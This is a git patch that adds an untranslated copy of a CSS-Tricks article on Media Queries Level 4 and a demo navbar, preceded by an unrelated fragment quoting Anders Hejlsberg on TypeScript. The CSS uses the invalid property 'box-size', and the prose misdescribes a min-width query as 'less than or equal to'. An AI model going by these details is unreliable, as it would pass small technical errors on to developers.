-“That means there’s now a very predictable way of discovering what framework have types – and we can auto provision the types. When we see you’re importing a particular framework we can go find types for you so you don’t have to do it anymore.” In fact, Hejlsberg claimed, “for some developers, that’s becoming a decision factor when they pick a framework; whether they can work with a framework and get types.”
 
 > “Often the way TypeScript ends up being adopted — in enterprises and start-ups and individual developers — is that you try it on one project and you say ‘wow, this is great!’ and then you start evangelizing and it grows locally in your sphere of influence.”— Anders Hejlsberg
 

From b788a199bdf34060f10f022a296070b59f4511a7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 8 May 2017 23:19:56 +0800
Subject: [PATCH 375/638] Create
 mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md

---
 ...rlace-monochrome-coarse-non-hover-first.md | 1008 +++++++++++++++++
 1 file changed, 1008 insertions(+)
 create mode 100644 TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md

diff --git a/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md b/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md
new file mode 100644
index 00000000000..a9e8b686e07
--- /dev/null
+++ b/TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md
@@ -0,0 +1,1008 @@
+> * 原文地址：[Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First](https://css-tricks.com/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first/)
+> * 原文作者：[ANDRÉS GALANTE](https://css-tricks.com/author/agalante/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First #
+
+[![](http://s3.buysellads.com/1279518/7386844-1491489478.jpg)](https://srv.buysellads.com/ads/click/x/GTND4237CE7DV5QUCAY4YKQWF6BDCKQYFTAITZ3JCEAIVK7UCKSD55QKC6BDL23LCW7DTK3EHJNCLSIZ) 
+
+A month ago I [explored the importance of relying on Interaction Media Features](https://css-tricks.com/touch-devices-not-judged-size/) to identify the user's ability to hover over elements or to detect the accuracy of their pointing device, meaning a fine pointer like a mouse or a coarse one like a finger.
+
+But it goes beyond the input devices or the ability to hover; the screen refresh rate, the color of the screen, or the orientation. Making assumptions about these factors based on the width of the viewport is not reliable and can lead to a broken interface.
+
+I'll take you on a journey through the land of [Media Query Level 4](https://www.w3.org/TR/mediaqueries-4/#color-gamut) and explore the opportunities that the [W3C CSS WG](https://www.w3.org/Style/CSS/members.en.php3) has drafted to help us deal with all the device fruit salad madness.
+
+### Media queries ###
+
+Media queries, in a nutshell, inform us about the context in which our content is being displayed, allowing us to scope and optimize our styles. Meaning, we can display the same content in different ways depending on the context.
+
+The [Media Queries Level 4 spec](https://www.w3.org/TR/mediaqueries-4/) answers two questions:
+
+- What is the device viewport size and resolution?
+- What is the device capable of doing?
+
+We can detect the device type where the document is being displayed using the media type keywords `all`, `print`, `screen` or `speech` or you can get more granular using Media Features.
+
+### Media Features ###
+
+Each Media Feature tests a single, specific feature of the device. There are five types:
+
+- [Screen Dimensions Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-dimensions) detect the viewport size and orientation.
+- [Display Quality Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-display-quality) identify the resolution and update speed.
+- [Color Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-colors) spot the amount of colors a device is capable to displaying.
+- [Interaction Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-interaction) find if a device is able to hover and the quality of its input device.
+- [Scripting Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-scripting) recognize if scripting languages, for example javascript, are supported.
+
+We can use these features on their own or combine them using the keyword `and` or a comma to mean "or". It's also possible to negate them with the keyword `not`. 
+
+For example:
+
+```
+@media screen and ((min-width: 50em) and (orientation: landscape)), print and (not(color)){
+	...
+	}
+```
+
+Scopes the styles to landscape orientated screens that are less than or equal to `50em` wide, or monochrome print outputs.
+
+The best way to understand something is by actually doing it. Let's delve into the corner cases of a navigation bar to test these concepts.
+
+### The Unnecessarily Complicated Navbar ###
+
+One of the best pieces of advice that Brad Frost gave us on "[7 Habits of Highly Effective Media Queries](http://bradfrost.com/blog/post/7-habits-of-highly-effective-media-queries/)" is not to go overboard.
+
+> The more complex we make our interfaces the more we have to think in order to properly maintain them. - [Brad Frost](http://bradfrost.com/)
+
+And that's exactly what I'm about to do. Let's go overboard!
+
+Be aware that the following demo was designed as an example to understand what each Media Feature does: if you want to use it (and maintain it), do it at your own risk (and [let me know](https://twitter.com/andresgalante)!).
+
+With that in mind, let's start with the less capable smaller experience, also know as "The mobile, small, portrait, slow, interlace, monochrome, coarse, non-hover first" approach.
+
+### The HTML structure ###
+
+To test the media query features, I started with a very simple structure. On one side: a `header` with an `h1` for a brand name and a `nav` with an unordered list. On the other side: a `main` area with a placeholder title and text.
+
+```
+HTML
+
+<div class="container">
+  <header role="banner">
+    <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+```
+
+```
+Result
+
+Brand Name
+
+Home
+About
+Products
+Login
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+```
+
+### Default your CSS for less capable devices and smaller viewport ###
+
+As I mentioned before, we are thinking of the less capable smaller devices first. Even though we are not scoping styles yet, I am considering an experience that is:
+
+- `max-width: 45em` small viewport, less than or equal to 45em wide
+- `orientation: portrait` portrait viewport, height is larger than width
+- `update: slow`  the output device is not able to render or display changes quickly enough for them to be perceived as a smooth animation.
+- `monochrome` all monochrome devices
+- `pointer: coarse` the primary input mechanism has limited accuracy, like a finger
+- `hover: none` indicates that the primary pointing system can't hover
+
+Let's take care of positioning. For portrait, small, touchscreen devices, I want to pin the menu at the bottom of the viewport so users have comfortable access to the menu with their thumbs.
+
+```
+nav {
+  position: fixed;
+  bottom: 0;
+  left: 0;
+  right: 0;
+}
+```
+
+Since we are targeting touchscreen devices, it is important to increase the touch target. On [Inclusive Design Patterns](https://www.smashingmagazine.com/inclusive-design-patterns/), [Heydon Pickering](https://twitter.com/heydonworks) mentions that it's still unclear what the magical size of a touch area is, different vendors recommend different sizes. 
+
+Pickering mentions Anthony Thomas's [article about finger-friendly experiences](http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/) and Patrick H Lauke research for [The W3C Mobile Accessibility Taskforce into touch / pointer target size](https://www.w3.org/WAI/GL/mobile-a11y-tf/wiki/Summary_of_Research_on_Touch/Pointer_Target_Size), and the main takeaway is, "...to make each link larger than the diameter of an adult finger pad".
+
+That's why I've increased the height of the menu items to `4em`. Since this is not scoped, it'll be applied to any viewport size, so both large touchscreen devices like an iPad Pro and tiny smartphones alike will have comfortable touch targets.
+
+```
+li a {
+  min-height: 4em;
+}
+```
+
+To help readability on monochromatic or slow devices, like a Kindle, I haven't removed the underlines from links or added animations. I'll do that later on.
+
+```
+ HTML
+ 
+ <div class="container">
+  <header role="banner">
+    <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+
+CSS
+
+/* Defuault styles:
+width: narrow,
+orientation: portrait, 
+update: slow,
+scan: interlace,
+monochrome: 1,
+pointer: coarse, 
+hover: none
+*/
+
+/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ 
+h1, nav{
+  position: fixed;
+  left: 0;
+  right: 0; 
+}
+
+/* Creates large touch areas for finguers (coarse) */
+li a {
+  min-height: 4em;
+}
+
+/* Moves the main area to accomodate fixed header and navbar */
+main {
+  padding: 1em;
+  padding-bottom: 5em;
+  padding-top: 5em;
+}
+
+/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */
+header {
+  display: flex;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+/* Center aligns the brand name */
+h1 {
+  display: flex;
+  min-height: 2.5em;
+  align-items: center;
+  flex: 1 0 auto;
+  padding-left: 1em;
+  padding-right: 1em;
+}
+
+/* Flex items to make them streach */
+nav {
+  bottom: 0;
+  display: flex;
+  flex: 1 0 auto;
+}
+
+ul, li, li a {
+ display: flex;
+ flex: 1;
+}
+
+li a {
+  flex: 1;
+  align-items: center;
+  justify-content: center;
+  padding-left: 1em;
+  padding-right: 1em;
+  border-left: 1px solid black;
+}
+
+li:first-child a {
+  border: none;
+}
+
+
+/* General make up: colors, fonts, etc */
+html, body, .container { box-size: border-box; height: 100vh; }
+body { font-family: sans-serif; line-height: 1.5; }
+header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }
+nav { background: #292e34; }
+h1 { background: #030303; font-weight: bold; }
+li a { color: #ccc; }
+li a:hover { background: #393f44; color: white }
+h2, p { margin-bottom: 1em; }
+h2 {font-weight: 700; }
+
+Result
+
+Brand Name
+
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+
+Home  About  Products  Login
+```
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/portrait-phones.jpg)
+
+### Small landscape viewports, vertical large displays, or mouse pointers ###
+
+For landscape viewports `orientation: landscape`, large portrait viewports like vertical monitors or tablets `min-width: 45em`, or small portrait devices with fine pointers like a stylus `pointer: fine`, users will no longer be using their thumbs on a handheld device; that's why I unpinned the menu and put it at the top right of the header.
+
+```
+@media (orientation: landscape), (pointer: fine), (min-width: 45em) {
+  main {
+    padding-bottom: 1em;
+    padding-top: 1em;
+  }
+  h1, nav {
+    position: static;
+  }
+}
+```
+
+Since the menu and the brand name are already flexed and stretched, then they'll accommodate themselves nicely.
+
+For users that have a fine pointer like a mouse or a stylus, we want to decrease the hit target to gain the real estate on the main area:
+
+```
+@media (pointer: fine) {
+  h1, li a {
+    min-height: 2.5em;
+  }
+}
+```
+
+```
+HTML
+
+ <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+
+CSS
+/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */
+@media (orientation: landscape), (pointer: fine), (min-width: 45em) {
+  main {
+    padding-bottom: 1em;
+    padding-top: 1em;
+  }
+  h1, nav {
+    position: static;
+  }
+}
+
+/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */
+@media (pointer: fine) {
+  li a {
+    min-height: 2.5em;
+  }
+}
+
+
+/* General make up: colors, fonts, etc */
+html, body, .container { box-size: border-box; height: 100vh; }
+body { font-family: sans-serif; line-height: 1.5; }
+header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }
+nav { background: #292e34; }
+h1 { background: #030303; font-weight: bold; }
+li a { color: #ccc; }
+li a:hover { background: #393f44; color: white }
+h2, p { margin-bottom: 1em; }
+h2 {font-weight: 700; }
+
+Result
+
+Brand Name   Home  About   Products   Login
+
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+```
+
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5446.jpg) 
+
+### Vertical nav for large landscape viewports ###
+
+Vertical navigations are great for large landscape viewports `(orientation: landscape) and (min-width: 45em)`, like a tablet or a computer display. To do that I'll flex the container:
+
+```
+@media (orientation: landscape) and (min-width: 45em) {
+  .container {
+    display: flex;
+  }
+  ...
+}
+```
+
+Notice that hit targets have nothing to do with the size of the viewport or style of navigation. If the user is on a large touchscreen device with a vertical tab, they'll see larger targets regardless of the size of the width of the screen.
+
+```
+HTML
+
+<div class="container">
+  <header role="banner">
+    <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+
+CSS
+
+HTML  CSS  Result
+EDIT ON
+ /* Defuault styles:
+width: narrow,
+orientation: portrait, 
+update: slow,
+scan: interlace,
+monochrome: 1,
+pointer: coarse, 
+hover: none
+*/
+
+/* Creates large touch areas for finguers (coarse) */
+li a {
+  min-height: 4em;
+}
+
+/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ 
+h1, nav{
+  position: fixed;
+  left: 0;
+  right: 0; 
+}
+
+/* Moves the main area to accomodate fixed header and navbar */
+main {
+  padding: 1em;
+  padding-bottom: 5em;
+  padding-top: 5em;
+}
+
+/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */
+header {
+  display: flex;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+/* Center aligns the brand name */
+h1 {
+  display: flex;
+  min-height: 2.5em;
+  align-items: center;
+  flex: 1 0 auto;
+  padding-left: 1em;
+  padding-right: 1em;
+}
+
+/* Flex items to make them streach */
+nav {
+  bottom: 0;
+  display: flex;
+  flex: 1 0 auto;
+}
+
+ul, li, li a {
+ display: flex;
+ flex: 1;
+}
+
+li a {
+  flex: 1;
+  align-items: center;
+  justify-content: center;
+  padding-left: 1em;
+  padding-right: 1em;
+  border-left: 1px solid black;
+}
+
+li:first-child a {
+  border: none;
+}
+
+/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */
+@media (orientation: landscape), (pointer: fine), (min-width: 45em) {
+  main {
+    padding-bottom: 1em;
+    padding-top: 1em;
+  }
+  h1, nav {
+    position: static;
+  }
+}
+
+/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */
+@media (pointer: fine) {
+  li a {
+    min-height: 2.5em;
+  }
+}
+
+
+/* Creates a vertical navigation on large landscape viewports */
+  @media (orientation: landscape) and (min-width: 45em) {
+  .container {
+    display: flex;
+  }
+
+  header {
+    display: block;
+    flex: 0 0 20%;
+  }
+    
+  header h1{
+    min-height: 6em;
+  }
+    
+  ul, li {
+    display: block;
+  }
+
+  li a, li:first-child a {
+    justify-content: start;
+    border-left: 0;
+    border-bottom: 1px solid black;
+  } 
+}
+
+/* General make up: colors, fonts, etc */
+html, body, .container { box-size: border-box; height: 100vh; }
+body { font-family: sans-serif; line-height: 1.5; }
+header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }
+nav { background: #292e34; }
+h1 { background: #030303; font-weight: bold; }
+li a { color: #ccc; }
+li a:hover { background: #393f44; color: white }
+h2, p { margin-bottom: 1em; }
+h2 {font-weight: 700; }
+
+Result
+
+Brand Name  Home   About  Products   Login
+
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+```
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5479.jpg) 
+
+### Animations, decorations and edge cases ###
+
+Animations are a great way to [enhance interactions](https://material.io/guidelines/motion/material-motion.html#) and help users achieve their goals quickly and easily. But some devices are incapable of producing smooth animations - like e-readers. That's why I am limiting animations to devices that are capable of generating a good experience `(update: fast), (scan: progressive), (hover: hover)`.
+
+```
+@media (update: fast), (scan: progressive), (hover: hover) {
+  li a {
+    transition: all 0.3s ease-in-out;
+  }
+}
+```
+
+I am also removing the text decoration on color devices:
+
+```
+@media (color) {
+  li a { text-decoration: none; }
+}
+```
+
+Removing underlines (via `text-decoration`) is tricky territory. Our accessibility consultant Marcy Sutton put it well:
+
+> Some users really benefit from link underlines, especially in body copy. But since these particular links are part of the navigation with a distinct design treatment, the link color just needs [adequate contrast](https://www.w3.org/TR/WCAG20-TECHS/F73.html) from the background color for users with low vision or color blindness.
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/05/contrast.png) 
+
+We made sure the colors had enough [color contrast](http://webaim.org/resources/contrastchecker/) to pass WCAG AAA.
+
+I'm also increasing the border width to 2px to avoid "[twitter](https://en.wikipedia.org/wiki/Interlaced_video#Interline_twitter)" (real term!) on interlace devices like plasma TVs:
+
+```
+@media (scan: interlace) {
+  li a, li:first-child a {
+    border-width: 2px;
+  }
+}
+```
+
+And here is the final result:
+
+```
+HTML
+
+<div class="container">
+  <header role="banner">
+    <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+
+CSS
+
+/* Defuault styles:
+width: narrow,
+orientation: portrait, 
+update: slow,
+scan: interlace,
+monochrome: 1,
+pointer: coarse, 
+hover: none
+*/
+
+/* Creates large touch areas for finguers (coarse) */
+li a {
+  min-height: 4em;
+}
+
+/* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */ 
+h1, nav{
+  position: fixed;
+  left: 0;
+  right: 0; 
+}
+
+/* Moves the main area to accomodate fixed header and navbar */
+main {
+  padding: 1em;
+  padding-bottom: 5em;
+  padding-top: 5em;
+}
+
+/* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */
+header {
+  display: flex;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+/* Center aligns the brand name */
+h1 {
+  display: flex;
+  min-height: 2.5em;
+  align-items: center;
+  flex: 1 0 auto;
+  padding-left: 1em;
+  padding-right: 1em;
+}
+
+/* Flex items to make them streach */
+nav {
+  bottom: 0;
+  display: flex;
+  flex: 1 0 auto;
+}
+
+ul, li, li a {
+ display: flex;
+ flex: 1;
+}
+
+li a {
+  flex: 1;
+  align-items: center;
+  justify-content: center;
+  padding-left: 1em;
+  padding-right: 1em;
+  border-left: 1px solid black;
+}
+
+li:first-child a {
+  border: none;
+}
+
+/* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */
+@media (orientation: landscape), (pointer: fine), (min-width: 45em) {
+  main {
+    padding-bottom: 1em;
+    padding-top: 1em;
+  }
+  h1, nav {
+    position: static;
+  }
+}
+
+/* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */
+@media (pointer: fine) {
+  li a {
+    min-height: 2.5em;
+  }
+}
+
+
+/* Creates a vertical navigation on large landscape viewports */
+  @media (orientation: landscape) and (min-width: 45em) {
+  .container {
+    display: flex;
+  }
+
+  header {
+    display: block;
+    flex: 0 0 20%;
+  }
+    
+  header h1{
+    min-height: 6em;
+  }
+    
+  ul, li {
+    display: block;
+  }
+
+  li a, li:first-child a {
+    justify-content: start;
+    border-left: 0;
+    border-bottom: 1px solid black;
+  } 
+}
+
+/* Adds an animation on devices that are capable to render animations smoothly. Filters devices like Kindles, TVs, touch devices */
+@media (update: fast), (scan: progressive), (hover: hover) {
+  li a {
+    transition: all 0.3s ease-in-out;
+  }
+}
+
+/* Removes underlines on links for color screens */
+@media (color) {
+  li a { text-decoration: none; }
+}
+
+/* Increases borders to 2px on interlace screens like plasma TVs */
+@media (scan: interlace) {
+    li a, li:first-child a {
+    border-width: 2px;
+  }
+}
+
+/* General make up: colors, fonts, etc */
+html, body, .container { box-size: border-box; height: 100vh; }
+body { font-family: sans-serif; line-height: 1.5; }
+header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }
+nav { background: #292e34; }
+h1 { background: #030303; font-weight: bold; }
+li a { color: #ccc; }
+li a:hover { background: #393f44; color: white }
+h2, p { margin-bottom: 1em; }
+h2 {font-weight: 700; }
+
+Result
+
+Brand Name   Home  About  Products   Login
+
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+
+```
+
+### Test it out ###
+
+Testing all this may not be that easy!. This example relies on flexbox, and some browsers have limited support for other modern CSS features. A Kindle, for example, won't read `@media`, `@support`, or flexbox properties.
+
+I've added float fallbacks here:
+
+```
+HTML
+
+<div class="container">
+  <header role="banner">
+    <h1>Brand Name</h1>
+    <nav>
+      <ul>
+        <li><a href="#main">Home</a></li>
+        <li><a href="/about">About</a></li>
+        <li><a href="/products">Products</a></li> 
+        <li><a href="/login">Login</a></li>
+      </ul> 
+    </nav> 
+  </header>
+  <main id="main">
+    <h2>Content goes here</h2>
+    
+    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>
+    
+  </main>
+</div>
+
+CSS
+
+/* Float fallback for browsers that don't support flex. This is not a full fallback for all cases. */
+
+  h1, li a {
+    min-height: 0;
+    padding: .8em;
+    display: block;
+  }
+  h1, nav {
+    position: static;
+  }
+  main {
+    display: block;
+    padding: .8em;
+  }
+
+  /* floats instead of flex the navbar */
+  li {
+    float: left;
+    width: 25%;
+  }
+
+  /* Clearfixes the nav unorder list */
+  ul:after {
+    content: "";
+    display: table;
+    clear: both;
+  }
+
+  /* Defuault styles:
+  width: narrow,
+  orientation: portrait,
+  update: slow,
+  scan: interlace,
+  monochrome: 1,
+  pointer: coarse,
+  hover: none
+  */
+
+  /* Creates large touch areas for finguers (coarse) */
+  @supports (display: flex) {
+    li a {
+      min-height: 4em;
+    }
+
+    /* Positions the navbar at the bottom for easy thumb access on small devices with portrait orientation */
+    h1, nav{
+      position: fixed;
+      left: 0;
+      right: 0;
+    }
+
+    /* Moves the main area to accomodate fixed header and navbar */
+    main {
+      display: block;
+      padding: 1em;
+      padding-bottom: 5em;
+      padding-top: 5em;
+    }
+  }
+
+  /* Mobile first: Accomodates the brand name on the left and the navigation on the right and it wraps without the need of width media queries */
+
+  header {
+    display: flex;
+    flex-wrap: wrap;
+    justify-content: space-between;
+  }
+
+  /* Center aligns the brand name */
+
+  @supports (display: flex) {
+    h1 {
+      min-height: 2.5em;
+      padding: 0 1em;
+      display: flex;
+      align-items: center;
+      flex: 1 0 auto;
+    }
+  }
+
+  /* Flex items to make them streach */
+  nav {
+    bottom: 0;
+    display: flex;
+    flex: 1 0 auto;
+  }
+
+  ul, li, li a {
+    display: flex;
+    flex: 1;
+    text-align: center;
+  }
+  li a {
+    border-left: 1px solid black;
+  }
+
+  @supports (display: flex) {
+    li a {
+      flex: 1;
+      align-items: center;
+      justify-content: center;
+      padding: 0 1em;
+      border-left: 1px solid black;
+    }
+  }
+  li:first-child a {
+    border: none;
+  }
+
+  /* Detaches the fixed header and navbar for landscape viewports, fine pointers like a mouse and large screens */
+  @media (orientation: landscape), (pointer: fine), (min-width: 45em) {
+    main {
+      padding-bottom: 1em;
+      padding-top: 1em;
+    }
+    h1, nav {
+      position: static;
+    }
+  }
+
+  /* Makes hit areas smaller for fine pointers like a mouse to gain viewport realestate */
+  @media (pointer: fine) {
+    li a {
+      min-height: 2.5em;
+    }
+  }
+
+
+  /* Creates a vertical navigation on large landscape viewports */
+  @media (orientation: landscape) and (min-width: 45em) {
+    .container {
+      display: flex;
+    }
+
+    header {
+      display: block;
+      flex: 0 0 20%;
+    }
+
+    h1{
+      min-height: 6em;
+    }
+
+    @supports (display: flex) {
+      ul, li {
+        display: block;
+        float: none;
+        width: auto;
+      }
+    }
+
+    li a, li:first-child a {
+      justify-content: start;
+      border-left: 0;
+      border-bottom: 1px solid black;
+    }
+  }
+
+  /* Adds an animation on devices that are capable to render animations smoothly. Filters devices like Kindles, TVs, touch devices */
+  @media (update: fast), (scan: progressive), (hover: hover) {
+    li a {
+      transition: all 0.3s ease-in-out;
+    }
+  }
+
+  /* Removes underlines on links for color screens */
+  @media (color) {
+    li a { text-decoration: none; }
+  }
+
+  /* Increases borders to 2px on interlace screens like plasma TVs */
+  @media (scan: interlace) {
+    li a, li:first-child a {
+      border-width: 2px;
+    }
+  }
+
+  /* General make up: colors, fonts, etc */
+  html, body, .container { box-size: border-box; height: 100vh; }
+  body { font-family: sans-serif; line-height: 1.5; }
+  header { background: #393f44; border-top: 4px solid #00a8e1; color: white; }
+  nav { background: #292e34; }
+  h1 { background: #030303; font-weight: bold; }
+  li a { color: #ccc; }
+  li a:hover { background: #393f44; color: white }
+  h2, p { margin-bottom: 1em; }
+  h2 {font-weight: 700; }
+  
+Result
+
+Brand Name   Home   About   Products   Login
+
+Content goes here
+
+Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!
+
+```
+
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/IMG_5476.jpg)
+
+You can open the [full page example](https://rawgit.com/andresgalante/test/master/test.html) in different devices, landscape, or portrait and test it out!
+
+### How soon will we realistically be able to use all these features? ###
+
+Now! That is, if you are ok offering different experiences on different browsers.
+
+Today, Firefox doesn't support Interaction Media Queries. A Firefox user with a fine pointer mechanism, like a mouse, will see large hit areas reducing the main area real estate.
+
+Browser support for [most of these features](http://caniuse.com/#feat=css-mediaqueries) is already available and support for [Interaction Media Features, support isn't bad](https://css-tricks.com/touch-devices-not-judged-size/#article-header-id-5)! I am sure that we will see it [supported across the board](http://caniuse.com/#feat=css-media-interaction) soon.
+
+Remember to test as much as you can and don't assume that any of this will just work, especially in less capable or older devices.
+
+### There is more! ###
+
+I've covered some of the Media Features along the example, but I left others behind. For example the [Resolution Media Feature](https://www.w3.org/TR/mediaqueries-4/#resolution) that describes the resolution of the output device.
+
+My goal is to make you think beyond your almighty MacBook or iPhone with a retina display. The web is so much more and it's everywhere. We have the tools to create the most amazing, flexible, inclusive, and adaptable experiences; let's use them.
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 1f37f19ccd298a3a4cc6a484a395234279bc08f7 Mon Sep 17 00:00:00 2001
From: Shirley Yang <yang.scorpio@aliyun.com>
Date: Tue, 9 May 2017 01:27:25 +0800
Subject: [PATCH 376/638] address comments

---
 ...oid-rxjava2-what-the-hell-is-this-part3.md | 21 ++++++++++++-------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index ae53913e375..d0b8deec28e 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -9,19 +9,24 @@
 
 太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。
 
